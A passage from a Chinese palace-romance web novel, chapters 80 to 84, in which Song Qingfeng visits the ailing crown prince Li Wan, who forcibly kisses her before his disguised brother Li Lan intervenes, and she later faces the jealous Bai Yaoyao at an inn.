这种时候,他却又病得这般模样。 他大多时候冷漠威严,高高在上,骑射又是极佳,她想不到他会变得脆弱模样。 她想起那日他消失在远处的身影,瑟缩消瘦。 她心中一闪而过一个念头,或许他的病,与她有关? 这念头一起,她便生了想要进宫的心思。 瞧一瞧他也是好的。 或许兰哥哥,也进了宫。 她在这里第一次见他,他便在宫里。 这想法既起,东宫又离此极近,她便拐了方向,往东华门去。 哪知东华门的守卫,已不是她刚入宫时见的那两位。 两位陌生面孔,瞧见她一个女子口口声声要入宫,面无表情地道:“令牌。” 宋轻风下意识摸了摸,她哪里有什么令牌。 早知入宫需要令牌,她也不该早早将那玉牌还回去。 侍卫当即道:“京畿重地,莫要逗留。” 宋轻风不死心,与那人道:“我乃是东宫的宋娘子,不信你可以遣人去问问,就问问就行!” 那侍卫仿若没听见,面无表情地复述道:“京畿重地,速速离开!” 宋轻风一阵无语,却不愿离去。 她心下一黑,一把抓住其中一人胳膊道:“我真是宋娘子,我要闯宫了!” 侍卫不想她一个瘦弱女子,居然这般大胆!闹事竟闹到宫门口来了! 他一把将宋轻风拿住,只是她口口声声如此说,他一时倒生了忌惮,不敢用强,只是着人将宋轻风送到了皇城司。 皇城司东华门管领虽没见过宋娘子本人,但他知道东宫却有个宋娘子。 只是东宫娘子若是离宫,各处都是是有记档的,这些日子并未听闻宋娘子离宫的消息。 他心下狐疑,仔细见这姑娘双眸清明,不像得了失心疯,倒也不敢随意处置,只派了小太监悄悄地道:“你去寻方华殿的谨言公公,听听他的意思,记住,千万莫要惊动了全总管。” 宋轻风等在院子里。 皇城司众人瞧着她,与她大眼瞪小眼。 不过片刻,门口有人飞奔进来禀告道:“大人,东宫来人了。” 管领瞥了她一眼道:“现在后悔可来不及了!冒充娘子,可是要就地诛杀的!” 宋轻风心中有些没底,不知此次来的会是何人? 她先头在东宫时有些低调,平日里认识她的人少之又少吧? 若是对方认不出自己怎么办? 正想着,却听门外传来飒飒的响声。 她转过头去,却见远处朱红色大门缓缓打开。 从门缝里慢慢地便露出一点黑色的身影。 她忍不住心头一跳,盯着那黑色身影挪不开眼睛。 果然,随之大门缓缓而来,门外的人一身玄黑狐裘大氅,领口缀着玄狐锋毛,双手操在袖中。 他目不斜视,直直地走进来,面容白如冰雪。 行动间袍角微颤,大氅下那件蟒袍便像风雪般沉沉压下来,一身华贵,却令人窒息。 堂内的喧哗瞬间静止,众人下意识浑身发麻。 等有人反应过来,哎呀一声,才重又响起哗啦啦声响。 很快院子里便跪了一地的人。 管领紧张地浑身发抖,打死也想不到,这东宫来人了,居然来得是太子殿下本尊! 若是他提前知晓,打死也不敢往东宫派人啊! 李岏直直地走过来,看也未看众人。 径直走到宋轻风的面前。 他走到她面前方才站定,拢了拢袖子,却毫无表情,淡淡地扫了她一眼,扯了唇角道:“既与人走了,为何如今却又来冒充我东宫的人?” 宋轻风听闻,面色有些发红,低下头扯了扯裙角道:“我,抱歉我只是权宜之计,没想到惊动了您,让您亲自……” 李岏打断她道:“你想多了,孤不过正好途径此地。” “哦。”宋轻风低下头,又抬起来看了看,见他面容冷峻,双目清冷,不似作伪。 只是唇色有些异常苍白,眼下压着乌青。 李岏被她的目光看得心头发紧,在袖中的手下意识收紧,皱眉道:“看什么?” 宋轻风低下头道:“没,什么。只是听闻殿下生病了,我有些担心……” 她说什么? 担心?她说她有些担心? 李岏上前一步,与她只剩咫尺之距道:“你不是早就厌恶东宫,厌恶了孤?一有机会就急急地跑了,如今怎么又来了?还担心孤?” 宋轻风忙摆手道:“不不不,东宫自然是极好的,过去这几个月,我在这过得很开心……” 李岏鬼使神差地打断她道:“那你是后悔了,准备回来了?” 等他惊觉自己说出这样的话,又有些晚了,忙补充道:“若是还想回东宫,孤或许可以考虑考虑,给你一席之地。” 宋轻风鼻端瞬间都是他的沉郁香味,他的胸口就在面前。 她结结巴巴地道:“殿下您放心,我只是回来看看您便走,不会对您有非分之想的。” 什么! 李岏额头青筋突起,咬紧牙关,一把将她捞过来,紧紧地箍住她的腰身,将她的身体紧紧地贴过来。 瞬间她柔软的腰身叫他冷漠的面色瓦解,灼灼地盯着她道:“若是我允你有呢?” 宋轻风不妨他突然这般用力,虽是冬日,可隔着衣裳紧紧贴着的,是他温热的体温。 她震惊地抬起头来,见他低下头,面如冷玉,双眸漆黑如墨。 “我,我没想……” 还未说完,他突然低下头一把吻了过来。 唇上的温热触感叫她大脑轰地一声,愣在了当地。 欲要说话,他却已趁机侵入,唇上的酥麻叫她忍不住浑身战栗—— 作者有话说:晚安啊~《 》 80-90 第81章 第 81 章 他只有我了 他便这般毫无预兆地吻上了她的唇。 等宋轻风反应过来, 扭头想要避开,他却先一步按住她乱动的脑袋,五指插进她的秀发里, 她动弹不得,伸手想要推开他,可他的另一只手却如钳子一般紧紧箍着她的腰身, 滚烫的掌心在腰间如烙铁一般。 宋轻风在窒息的边缘挣扎, 突然她一口咬了过来,血腥蔓延, 他这才松开口,冰冷的指尖滑过她红肿的唇角:“你说你没有非分之想,那你当初处心积虑来东宫做什么?你次次与孤上床做什么?” 宋轻风一时无言。 他说得乃是实话, 确实是自己招惹在先。 但是于他来说, 自己不过是千万个后宫中一人,有或没有,于他并无区别。只是而今他的太子妃突然失踪,他这才孤身一人。 李岏扯了唇角, 露出讽刺的笑来:“是了, 你进宫只是为了那个东西,我不过是你的棋子,你找来打发时间的替身罢了。” 宋轻风抬首道:“我与您说过, 等您成婚……” 李岏却不等她说完,腰身一用力, 将她抵靠在了一旁的廊柱上。 他便跟着贴了过来, 将她圈住,宋轻风用力想要推开他,他一只大手如钳子一般, 轻易地便抓住了她两只手腕举在了头顶。 在他面前,她的力气仿若蝼蚁一般渺小。 李岏却倾身而来,另一只手抬起她的下颌,声音如蛊惑一般地拂在耳边道:“说,你是喜欢我的,你以前不是说的挺顺口的吗?” 宋轻风看着他熟悉的面容,目光扫过眼下的浅疤,张了张口,却没有说出话来。 李岏眸色如墨,一把狠狠咬住了她翕动的嘴唇。 唇舌滚烫如火辗转,两人鼻尖相碰,气息相闻。 肌肤上的指尖却冰凉发抖。 宋轻风双手被他禁锢,扭动身体中却与对方愈贴愈紧,她面色血红,不敢反抗,心下一黑狠狠咬上他的唇,血腥之气弥漫在口中。 亲吻变成了撕咬,啃噬,他却似感觉不到痛似的,毫不松口。 不一时,那冰凉的指尖从下颌处滑出,精准地解开了她脖颈下的扣子。 滚烫的唇便顺着下颌,如雨点一般滑落向下,在她玉白的锁骨上辗转。 他与她曾亲密多次,最知道她的敏感在哪。 宋轻风倒吸一口气,挣扎的力气渐渐消失。 周围的一起似乎全都消散。 不过片刻,她只觉得浑身发软,呼吸急促,心脏在胸腔内剧烈地跳动,甚至身体不受控制,再无半分反抗的能力。 双腿快要站立不住,她下意识地低哼出声。 他动作一顿,僵硬地自她脖颈处抬头,见她目光迷离地看着自己,里头波澜涌动,他心头一刺,想起在客栈听到的声响。 她这些日子,也是这般与那人亲吻的吗? 甚至他们…… 他再受不住浑身炙热欲望,声音沙哑:“这样舒服吗?” 说完声音却如淬了寒冰:“你看清楚仔细点,今日与你在一起的人,是谁。” 说着就要抱起她往内室去。 还未动作,突然身后传来一声:“太子殿下。” 声音很轻,却如当头一击,将两人从混乱里拉回。 宋轻风感到旁边的人浑身一颤,转过了头。 她终于从窒息里得以喘息,一眼瞧见一个面容陌生的普通男子站在身后不远处。 他便只是站着,眉眼冷静,直直地看向两人。 宋轻风感到浑身的血液轰地一身涌向头顶,叫她四肢发麻,手脚发凉。 虽然兰哥哥易了容,但她一眼就认了出来。 她下意识用劲想要推开面前的人,却忘了双手还被钳住,动弹不得。 李岏并不松手,甚至一把将两人之间的距离拉得更紧密了。 这才转过头来道:“你来了。” 李岚的目光在二人鲜红如血的唇上扫过,最后落在宋轻风的手腕上,白皙的手腕上红痕格外醒目刺,他沉下脸,目中隐着暮色,与李岏道:“太子殿下,还不准备松手吗?” 李岏染血的唇扯起道:“松手?” 他低下头,看向宋轻风。 被他圈在怀里的宋轻风满面通红,急急地看向李岚,红肿的唇上下翕动:“兰哥哥”。 他心中一时如江海一般翻涌不止,心口如火燎原。 李岚又道:“想让我动手吗?” 李岏却看了他一眼,眸中映着冰雪,而后一把掐住宋轻风的下颌,指腹从她红肿的唇上滑过,又咬住了她的唇。 这回却如品尝美食一般,舌尖在她的唇上滑过,吸吮她的唇瓣。 耳边传来刀剑刺空之声,一道寒芒透背而来,他仿若未闻,一动不动。 宋轻风却反应过来,震惊地摇头。 李岏不顾脖颈间的凉意,只想将手里的人狠狠碾碎,想将口中的人吞下,与自己融为一体,这样她便哪也去不了。 她的眼里心里,便只能有自己一人。 宋轻风摇头道:“不要……” 直到口中的血腥气混着咸味,他才反应过来。 睁开眼,瞧见她黑黢黢的眼睛里闪着泪,睫毛剧烈地抖动。 他的唇舌下意识停住,心头一颤,到底松了开来,连带着箍着她的手也放了下来。 还未站稳,身体却已被一道大力冲击,不等他反应过来,后背已重重地砸在柱子上,一阵剧痛袭来,叫他忍不住剧烈地咳嗽。 “不要。”宋轻风又惊呼出声。 李岚的手便掐在他的领口处,面上不见怒色,眸子却黑沉地叫人看了发寒。 他道:“她说了不要。” 李岏怔怔地看着他,看着这幅陌生的容貌,竟忘记了反抗。 他回宫来,却只能戴着伪装。 李岚却眼睑下垂,扫向地上掉落的东西。 李岏心中一惊,也顺着目光看去,果然瞧见一块绣着兰花的雪白帕子便这般落在了檐下的台阶上。 方才动作间竟从怀着掉落出来。 他下意识弯腰要去取,身体却被压地动弹不得。 哪知李岚却突然松开了手,又轻抚了他的领口褶皱,这才弯腰取起了帕子。 还未细看,李岏一把夺过去道:“这是我的东西。” 李岚目光不经意扫过他眼下的疤痕,又扫向帕子上的兰花。 他什么都没说,李岏却已觉他的目光如锋利的刀一般,狠狠剐在脸上,叫他那块疤狠狠作痛。 是的。 这个帕子上绣的是兰花。 是他的名字,岚。 他喉头滚动,只觉得掌心里的帕子如烙铁一般灼热,烫得他手心剧痛,他却死死捏住,毫不松手。 院子里的人早被撤了干净,方才李岚的出手太快,叫隐在不远处的太子护卫反应不及。 众人惊地心胆俱裂,可对方与太子殿下靠得极近,投鼠忌器,众人扔了箭弩,长剑出鞘向李岚攻去。 眼见大战一触即发。 这是在宫里,这里全都是太子的人。 宋轻风飞奔护在前面,与李岏道:“太子殿下,他这些年吃了很多苦,早已经一无所有了,他只有我。” 他一无所有了,只有你? 可若是能有你…… 李岏看着她站在李岚身旁,看着自己。 从她的目光里,他突然明白,她是知道李岚的身份的。 他们之间,果然没有秘密。 只有自己,像个外人,不,像个恶人。 李岏挥退了护卫,踉踉跄跄地靠在柱子上。 李岚道:“听闻殿下卧病在床,如今瞧来,倒是生龙活虎。” 李岏努力想要扯出笑来,却只扯出一个难看的弧度。他确实病了,病得不轻,只是方才听闻来了一个宋娘子,当即什么也不顾,从床上翻身而来。 便是这一会,若不是强靠在柱子上,只怕已倒下了。 他却道:“在这宫里,装病不过是常用伎俩罢了。” 宋轻风接道:“那太好了。”目光从他苍白的面上扫过,不过他方才力气这般大,确实也不像是生病的模样。 李岏闭了闭眼睛道:“你们去而复返,是听闻消息想来帮我?” 李岚道:“殿下此刻还有这般风花雪夜之心,想必是成竹在胸,倒是我们多虑了。” 李岏终于低低笑了一声:“说来可笑,这些年我别的长进没有,倒是把勾心斗角……练就得炉火纯青。” 李岚深深看了他一眼。 记忆里走路都有些磕磕绊绊的小小少年,整日里跟在自己身后叫哥哥的少年,拿了母亲一块糕点就开心上半日的少年,而今已是这宫城里搅弄风云的掌权者。 而今已有了与那位抗衡的权力。 只是这些年他一个人在这宫里,是如何成长成这般模样。 宋轻风牵了李岚的手道:“殿下既无大碍,我们就出宫去了。”—— 作者有话说:晚安~ 第82章 第 82 章 她说别怕 宋轻风只觉得浑身发烫, 浑身颤动,她抓住李岚的胳膊,指尖用力地攒紧。 生怕一个不小心, 就腿软倒地。 她低着头,却感到他的目光如刀斧附身一般落在自己身上。 宋轻风飞快从李岏面上扫过,见他唇角沾着血, 慌忙又低下头, 只是道:“殿下若无大碍,我们就出宫去了。” “宋轻风!” 她顿住了脚, 却不敢抬头。 李岏道:“今日你若出了这道门,就休想再回来了!” 他说完,却见宋轻风毫不犹豫, 头也不回, 拉着李岚就要往外走。 李岏下意识要上前,却生生忍住,捂住胸口发出剧烈地咳嗽,仿佛要将肺都咳出来。 宋轻风停住脚步, 见他面上都是痛苦之色, 苍白的面容泛着不健康的红晕,衣摆之间都显得有些空落落的,显见病得不轻, 不由有些犹豫不前。 “太子殿下,您这身体……” 李岏倚着柱子, 擦了擦唇角道:“你要走便走吧, 孤即便是病死,从此也与你无关。” 说着他面色灰败,却自怀里扯出一块玉牌来丢了过来。 玉牌划过一道白光, 宋轻风一把接住,发现正是自己先头从他那里偷来的那块。 她捏了玉牌在手,而后才犹豫道:“此处风大雪重,您还是早些回去吧。” 李岏道:“都到这时候了,你倒也不必再如此虚情假意。” 宋轻风张了张口,却一时无言,嘴唇火辣辣地疼,却不敢伸手去揉,她埋着头,再不敢看一眼,拉着李岚就往外狂奔。 她果真就这般跑走了,李岏一时眼前发黑,险些站立不稳。 宋轻风直奔到宫门外,才停下脚步,止不住地喘气。 因为跑得急了,寒风过喉,止不住一阵咳嗽。 李岚站在一旁,轻轻拍了拍她的背,帮她顺气。 宋轻风想到方才种种,皆被他看在眼里,不由面上发烫。方才无暇他顾,此刻想来,心中闪过一丝不安,对着兰哥哥伸出来的玉白的手,迟迟没有接过。 正自不知如何时,却听不远处宫门开了,里头传来人声。 “都滚出宫去!” 一群拧着药箱的人抱头鼠窜,衣衫破碎,狼狈地从里头跑了出来。 更有甚者,因太过慌张,路面又滑,摔了好几个跟头,却顾不得疼,飞快地爬起来就跑了。 宫门处的侍卫,低声与旁人议论道:“这已经是第十批了,晋王殿下的腿……还是没找到解治的办法?” 那另一个侍卫苦着脸,摇了摇头:“这帮大夫能保住性命已经不错了……” 宋轻风看着狼狈远去的大夫们,下意识看向李岚:“晋王的腿废了,他会不会” 李岚道:“你担心他狗急跳墙,对太子不利?” 不等宋轻风回答,李岚负手笑道:“你放心吧,这权利场中,没有盟友只有利益。晋王双腿已废,再无登极可能,陛下膝下的其他皇子能堪大任的更是一个没有。如今朝中原本的晋王党,摇摆不定党,只会飞奔前来投靠东宫。” “他们而今,不过只能苟延残喘,再无翻身的可能了。” 彷佛应着他话似的,宫内又出来一波官员,窃窃私语道:“我们数次求见,太子殿下如今还是不见,可如何是好?” “唉,倒也不必过分忧心,殿下的金面岂是如此容易见的?我听闻不光是我们,太子殿下这几日是一个人也未见,三司会审在即,殿下告病,恐怕是有意避嫌……” 宋轻风想到他方才模样,病体支离,不像是假的。 李岚看着突然昏沉沉的天色,叹气道:“要下雪了,我们快些走吧。” 宋轻风点头,看了眼李岚,这一看却再移不开目光。 李岚感觉到她异样的目光,停住了口,下意识摸了摸脸,笑道:“怎么,不习惯了?” 宋轻风回过神来,看着面前这张陌生的脸,挥去了心头异样的感觉,点了点头道:“方才不觉得,这般近距离看着,总觉得怪怪的。” 李岚看了身后巍峨宫城,笑道:“顶着那张脸,到底不方便。” 宋轻风看着他嘴角残存的笑,试图从里面找到熟悉的影子。 他们是兄弟,长得这般相像。 一个是这宫城里最尊贵的太子殿下,一个,却连回自己的家,都只能易容。 李岚似看出他的心思,摸了摸她的发顶道:“不过是个金牢笼,哪有外头逍遥自在。”说着却又笑道:“反正以我的出身注定当不了皇帝,与其在里头尔虞我诈的,不如在外头快活。” 宋轻风点了点头,却不知从哪里冒出的想法,笑道:“这面具瞧起来这么逼真,我都要怀疑你是真的假的了。” 李岚一愣,却点了她的头道:“你这个小孩,脑子里整日在想些什么。” 李岚笑完,却又道:“我丢掉的东西一时未曾寻到,我们在此多呆些时日吧?” 宋轻风不妨他突然提到此事,她原本心中也有些放不下,正有此想,遂点了点头。 两人顺着街边一路往南。 却听远处传来敲锣打鼓的声响。 宋轻风四处一望,却见白雪之间,一群红衣吹打左摇右摆热热闹闹正往他们方向处来,长长的队伍围着中间一顶大红喜轿,喜轿前头,一人穿着大红的锦服,英姿勃发,满面喜色正与众人见礼。 随着队伍的几个喜婆抓了糖来,时不时向周围抛洒,惹得围观看热闹的人嬉笑着哄抢。 这是谁家大婚,办得可真热闹。 宋轻风一向也爱这些热闹,她挤上前去,混在人堆里居然也捡到了两颗糖。 她迫不及待地从人群里挤出来,急切地来寻李岚。 转眼间却见李岚坐在路边店铺的台阶上,长衫铺地,支着下颌。 面容已是恢复了原本的模样。 他看着她来的方向,面容俊美,便是一身素衣,却是风姿绰约,比白雪还要耀眼,叫人移不开目光。 过去这么多年,他便是常这般姿态,靠在柱子上喝酒,看太阳,瞧月亮。 那时她不知道他在想什么,只是坐在一旁看着他发呆。 那时的他,给了她一个家,也是她在这世上唯一的亲人。 而今她已长大。 瞧见他这与方才全然不同的神情,看着她的眼眸如深渊。 宋轻风心中大动,捏紧了手中的糖,停住了脚步。 李岚眨了眨眼,重又恢复了笑意,朝她招了招手。 宋轻风不自觉轻轻走上前来,弯下腰朝他伸出来手。 她伸过来的掌心,卧着两粒红色糖衣包着的喜糖。 宋轻风拉过他的手,将喜糖放在他掌心,指尖不经意擦过他的手腕。她压下心头的跳动,状做无意地道:“办喜事可真热闹!你瞧见那大红轿子了吗?可真好看。方才那新郎官笑得这般开心,”她顿了顿,抬眸看他道,“那轿子里的新娘虽然没看见,但一定也是极开心的吧。” 李岚垂眸看了掌心的糖,忽而笑了,他剥了其中一粒的糖衣,塞进她的嘴里。 “甜吗?” 宋轻风连连点头道:“甜。” 他坐着,她弯腰站着,他勾长了手,又从怀中掏出巾帕,擦了擦她手上残存的雪道:“怎么还小孩子一般喜欢凑热闹。” 宋轻风看着他仔细给她擦手,忍不住开口:“兰哥哥,我……” 李岚将擦完的帕子重又收回怀里,打断了她道:“你方才好像有东西掉了。” 宋轻风一低头,却见腰间的玉牌不见了! 她来不及多言,慌慌张张去寻,好在方才的一群送亲队伍已走远了,连围观的人都跟着跑了,她在雪地里翻了几翻,居然给翻了出来。 好险。 宋轻风拍了拍胸脯,转回头,却见李岚已站在一旁,面容如旧。 见她回来,他点了点下颌,只是道:“走吧,下雪了。” “哦,”宋轻风低低应了一声,看着他当先走了。 她落在后头,看着他修长的背影发呆。 李岚行了几步,并没有回头,只是摆手道:“别发呆了,要落成雪人了。”。 李岏看着空荡荡的院子发了好一会呆,才举起手中的帕子。 因为捏得太紧,已生了许多皱褶。 他重又将其细细地整理叠成了一块,目光自动略过了角落的绣花,塞进了怀里。 寒气顺着衣摆上窜,他浑身无力,却不愿坐辇,一步步踱了回去。 却没往方华殿去,而是顺脚拐进了随云殿。 殿内乌梅又绿正在院中洒扫,不妨他突然进来,具都惊了一跳。 李岏却自顾行到檐下的藤椅上,躺了下来。 随侍过来的全福欲劝殿下回屋内躺着,却连一个冷冰冰的眼神都未收到,他无法,只能拼命着人在周围拢起炭盆来。 李岏躺着咳嗽了半晌,只觉得浑身无力,炭火的热力又袭击而来,竟叫他迷迷糊糊又睡了过去。 不知过了多久,却听“哗啦”一声响。 他惊了一跳,从迷蒙中惊醒过来。 随侍在侧的全福也惊了一跳,正要与人去问是什么响动。 却听“喵呜”一声,一只白猫从屋顶上跳了下来。 那小白猫行动敏捷,不等众人反应,已一把窜到了藤椅旁边,挠了挠李岏的腿,便蜷缩了身子在脚下,喉间发出了呼噜声。 殿下对这猫看得重,谁也不敢上前来。 伺候白猫的内侍脸如雪一般惨白,慌忙跪在一旁道:“奴婢该死,奴婢一个没瞧住,叫这猫跑了出来惊扰了殿下。” 李岏忍住下意识踢走猫的冲动,认出这是小白。 这小白跟他回了方华殿,如今居然又跑了回来。 全福压下心中惊跳,道:“这小白,怎么是从房顶上跳下来的?” 乌梅颤颤巍巍,跪在一旁解释道:“是,是因为嘎嘎……” “他们,他们两个自小交好,小白便常要往屋顶上去玩耍,宋娘子便在这屋顶上养了些特殊的草,嘎嘎和小白都喜欢往那处去。” 李岏抬头,果然瞧见那屋顶上,有一眼不起眼的茅草,在风中摇曳,而一只黑色乌鸦,便站在旁边,警惕地盯着他们。 他低下头,看这猫已蜷缩成一团,紧紧靠着他的腿,竟都有了鼾声。 只是睡梦中,两只前爪不自觉地伸缩,时不时舔一舔嘴。 他方要起身,却突然心中一动,顿住了身型。 想起许多日前,她便蹲在自己身下,双目乌黑,脸颊白中透着红,烛火晃着她的眉眼如星,坚定又真切。 那是他第一次仔细看她,才发现她生得实在是少见的好看。 她与他道:“这世道,从来便是以牙还牙,以眼还眼!” 她说别怕,我会陪着你—— 作者有话说:晚安~[比心] 第83章 第 83 章 是你欠我的 她说要陪着他, 乌黑的双眸中隐现泪意,看向自己的眼神像是无尽的深渊。 大概便是那时,受不住这致命的诱惑, 他一把跳了进去。 即便她看着他额角的伤,说要与他报仇。 他一直只当是个玩笑话。 却原来,她从来都没有忘记。 他想起自己前往宝华殿外查看的情形, 当时也曾瞧见亭顶的枯草, 只是当时心中有异,却未曾多加留意。 皇帝额头上的伤, 很深,便是到此刻也未痊愈,甚至一道黑沉的疤横亘在额上, 使得他愈发不愿抛头露面。 她虽然柔弱, 在这宫中孤立无援,却还是为了自己,使尽了全力。 甚至是在那人出现之后。 在他出现之后,她还愿意为了自己, 冒这样的险。 李岏又重重地坐了回去藤椅, 干裂的唇角扯开,发出低低的笑声。 所以,她的心里, 还是有他的。 周围一众内侍浑身发毛,全福看着殿下的变化, 更是吓得脸都白几分。 殿下这是病糊涂了…… 宋轻风跟着李岚行到客栈, 却见客栈门打开,从中跑出一个穿着藕粉色襦裙的少女,戴着帷帽, 白色轻纱在行动间飞扬。 宋轻风一愣,这女子不是旁人,却是消失了的准太子妃,白窈窈。 她怎会在此?还叫他师哥。 白窈窈提着裙摆跑到近前,撩开一角轻纱,便露出那双灵动的杏眼,声音清脆悦耳:“师哥。” 她叫完人,便转向了宋轻风,目光在她红肿的唇上逗留了半日,细长的眉头挑起,露出一脸别样的笑来。 宋轻风心下一惊,松开了拉着李岚的手。 白窈窈捂嘴看两人笑道:“宋娘子这唇……师哥,你也忒不温柔了。” 宋轻风面色如火烧一般,从面颊烧到耳根,讷讷地道:“并非……” 白窈窈挑眉道:“并非?宋娘子莫不是……” 李岚却打断她道:“窈窈,她叫宋轻风。” 白窈窈住了口,立时笑嘻嘻地改口道:“轻风姐姐。” 说着她也不再纠缠,趁势上前,欲要挽住李岚的另一条胳膊,却又止住了,只是摆出清澈的笑来:“师哥出去了这么久,我差一点就等不及要出去寻师哥了。” 李岚将她的轻纱放下来,声音轻柔地道:“外头凉,进去吧。” 他将她带到两人的房间,这才皱眉问道:“胡闹,你为何又回了京师?” 白窈窈刹那红了眼眶,咬唇道:“你们都留在京师,我怎么能一个人走!我白窈窈虽然手无缚鸡之力,却绝不是贪生怕死之人。” 她一个弱女子,一番慷慨陈词,倒叫坐在一旁的宋轻风都另眼相看。 李岚却看着她郑重地道:“你要记住,遇到危险你第一个要逃,你是她唯一的骨血,你的命比谁的都重要。便是我们都死了,你也要活着。” 白窈窈眨着眼睛,眼角的泪花欲落未落,结结巴巴地道:“我……我知道,这话宁旌哥哥也同我说过,可是,可是我还是想与你们在一处……” 她楚楚可怜的看着,李岚也不便多说,半晌无奈地道:“而今京师严查,一时也出不去了。” “想来宁旌过几日便能出来了,到时你跟着他走吧。” 白窈窈飞快地看了他一眼,而后咬着唇道:“我,我想跟着师哥。” 李岚闻言,看了一眼宋轻风。 却见她坐在一旁,正自低头拨弄着衣摆,闻言也抬头看了一眼,正撞见他的目光,又飞快地低下了头。 李岚道:“不用跟着我,不方便。” 白窈窈不想他拒绝地这般干脆,连托词都懒得想,一时却又恢复了笑颜,转头见宋轻风埋头坐在一旁。 她道:“是我冒昧了。师哥与宋……轻风姐姐,你们准备什么时候成婚,让妹妹我早日吃上喜糖。” 宋轻风的脸刷地一下红了彻底。 她捏紧了掌心里的另一只喜糖,抬眼偷偷看了李岚一眼,却见他转了目光,面上神色难明,似乎未曾听到她的话。 而白窈窈却朝她看来,挂着笑,挑了挑眉。 宋轻风想到很多年前,自己鼓起勇气向他剖白心迹,问他可不可以嫁给他,他只是淡淡笑了笑道:“你还小,不懂情爱,谈何成亲。” 她那时如何回答来着?“什么是情爱?只有懂了情爱才能成亲吗?” 他回道:“当然,你不喜欢我,我们怎么可以成亲呢?” 这几年,她以为他死了。 无数次在梦里辗转反侧,后悔自己当时为何没有告诉他,自己喜欢他。 若是从来一次机会,她一定要告诉他,自己喜欢他,想与他一辈子在一起。 他是自己这世上唯一的亲人,有他在的地方,便是自己的家。 可是而今。 他死而复生,活生生地站在自己面前,一颦一笑,都是自己日思夜想的模样。 可她却迟迟开不了口。 许是这几年长大了,她不再是那个懵懵懂懂什么也不懂的少女,许是…… 面对白窈窈的打趣,李岚却面色不变,起身道:“时辰不早了,我去买些吃食回来。白姑娘,你想吃些什么?” 白窈窈立时道:“师哥,我陪你一起去!方才我瞧见门外在卖桂花糖藕,还是京师里头一次见,我最爱吃了!” 李岚道:“外头风寒,你们两个都呆在这里。” 他语音淡淡,白窈窈却知晓他的脾气,当即鼓着腮帮子道:“师哥那你小心,我好饿啊,等你回来。” 李岚当即转身出门。 白窈窈却又叫住他道:“师哥,你怎么也不问问轻风姐姐想吃什么呢?” 李岚看了她一眼,却未答话,自顾出门去了。 宋轻风下意识跑到门口,盯着他打开客栈的门,消失在白皑皑的雪地里。 “别看了,师哥背后又没有生了眼睛,你再做出深情来,他也瞧不见。” 宋轻风只做未闻,重又回来,拉着凳子坐在炭盆旁烤火。 白窈窈见她模样,一脸嘲讽地道:“宋娘子倒是好手段,一会是东宫宠妾,转眼又到了此客房里,与兰哥哥同处一室?” 她今日多番挑衅,宋轻风实在生了厌烦,没好气地道:“彼此彼此。” 只是心中一直搞不明白,在东宫时如此,为了得到太子的宠爱她那般也无可厚非,可出了宫,她居然还是如此,难道她而今又喜欢上了兰哥哥? 白窈窈却不以为忤,笑嘻嘻地打量了她道:“你猜,若是我与你同时遇险,师哥会先救谁?” 宋轻风想到几年前的那日。 风中传来婴孩的啼哭,兰哥哥便撇下她的手,消失在了门外。 更何况他方才说的那番话。 “兰哥哥自然会救你,”宋轻风轻轻地道,却不等白窈窈露出得意的笑,她又补充道,“却无关乎情爱,他就是这样的人。” 白窈窈面色变了变,却道:“你想嫁给师哥?” 宋轻风闭了嘴。 白窈窈却笑道:“你觉得,你还配得上我师哥吗?” 宋轻风卷着衣角的手一顿。 白窈窈道:“你以为他死了,便背叛了他,这么久以来,你在东宫殷殷伺候太子殿下,成了东宫的姬妾,却眼瞧着殿下要娶妻纳妾,为了救我,便许我太子妃之位,你永远没有出头的机会。而此时你又知道你的兰哥哥还活着,便又厚着脸皮缠着他,你这般做派,自己不觉得恶心吗?” 宋轻风抬起头来,面上已有些发白。 她定了定心神,问道,“白姑娘想从我这得到什么?” 白窈窈眨着圆圆的杏眼,有些好笑地道:“从你这得到什么?” 说完她的面色突变,声音也变了腔调:“是啊,他们都爱你,全都围着你转。可是凭什么呢。” “你所有的东西,我都要得到。就算我得不到,你也休想得到。” 宋轻风匪夷所思地看着她,看到她盛着波光的眼睛深处,是叫人心惊的恨。 她心中咯噔一声。 可是,为何? “我们无冤无仇,素昧平生……” “无冤无仇,素昧平生?”白窈窈仿佛听到了最好笑的笑话,忍不住笑了出来,哪知却越笑越大声,有种止不住的架势。 她边捂住肚子,边指着宋轻风道:“素昧平生?” 她笑得眼泪出来,抬手顺势抹了,却连带着笑脸也彻底不见了踪迹:“是你占有了原本属于我的一切,你抢走了我的东西。你所有的一切都该是我的,若不是因为你,我不会一个人孤苦伶仃在江南长大,不会落入那些人的手里在春风楼里胆战心惊。这些年,我受的所有苦都是你造成的。” “宋轻风,是你欠我的!一辈子也还不清!如今却说无冤无仇,素昧平生?”—— 作者有话说:晚安啊[比心] 第84章 第 84 章 您想知道白楚楚在哪吗?…… 宋轻风看着她娇小的脸变得扭曲, 双目泛起血红,只恨不得。 那里头的怨恨,不是假的, 甚至叫她忍不住浑身汗毛倒立。 宋轻风不太确认地道:“白姑娘,你莫不是认错了人” 她少时记忆全无,从有记忆开始, 便在西北, 从未去过江南,也从未见过她, 更遑论抢了她的东西。 想到此,宋轻风突然想起。唯一的关联,便是梦中的那个女子。 那个在梦里口口声声叫着自己乖女儿的女子。 那个说要去参加武勋大典, 从此再也没有出现过的女子。 她甚至不清楚这些到底只是梦, 还是曾发生过的真相。 他们都说,白窈窈是她的女儿。 若她是她的女儿,那自己又是谁呢? 宋轻风面色迷惘,心头似漏了什么, 一片空空荡荡。 她试图从残破的记忆里寻到她们的任何信息, 除了那个梦,却终究是一无所获。 不多时,门终于支呀一声开了。 李岚带着东西回来, 瞧见屋内两人面色,他将东西放下, 与宋轻风道:“方才瞧见饮水桥头, 来了西边的杂耍艺人,一起去瞧瞧。” 白窈窈却已恢复了正常,只是叫道:“我也要去!” 李岚道:“我与风儿单独走走, 明日安西案开审,今夜到处是巡逻的兵丁,你乖乖呆在客栈。” 白窈窈闻言不满地鼓了嘴,却到底没有说什么。 出门的时候夜色正好,路上夜行之人甚多。 行到半路,却下了雪。 洋洋洒洒,细细密密,在灯烛之下竟如星火,很快在地上重又铺了薄薄一层。 宋轻风如少时一般,下意识拽紧了兰哥哥的袖口。 鞋底踩在雪上,发出细碎的轻响。 两人都没有带伞,却谁也没提要去寻把伞。雪很快落在了头上薄薄的一层,宋轻风一只手将衣裳的领子熟练地往上一拉,整个人只有一张脸露在了外头。 时光流逝,仿佛回到了很多年以来,她从困厄里伸出颤抖的小手,被他那只又大又暖的手轻轻握住,后来的许多日子,他们这般走在雪地里。 他们这样走过一处又一处,最后落脚在安西镇外的破云庙。 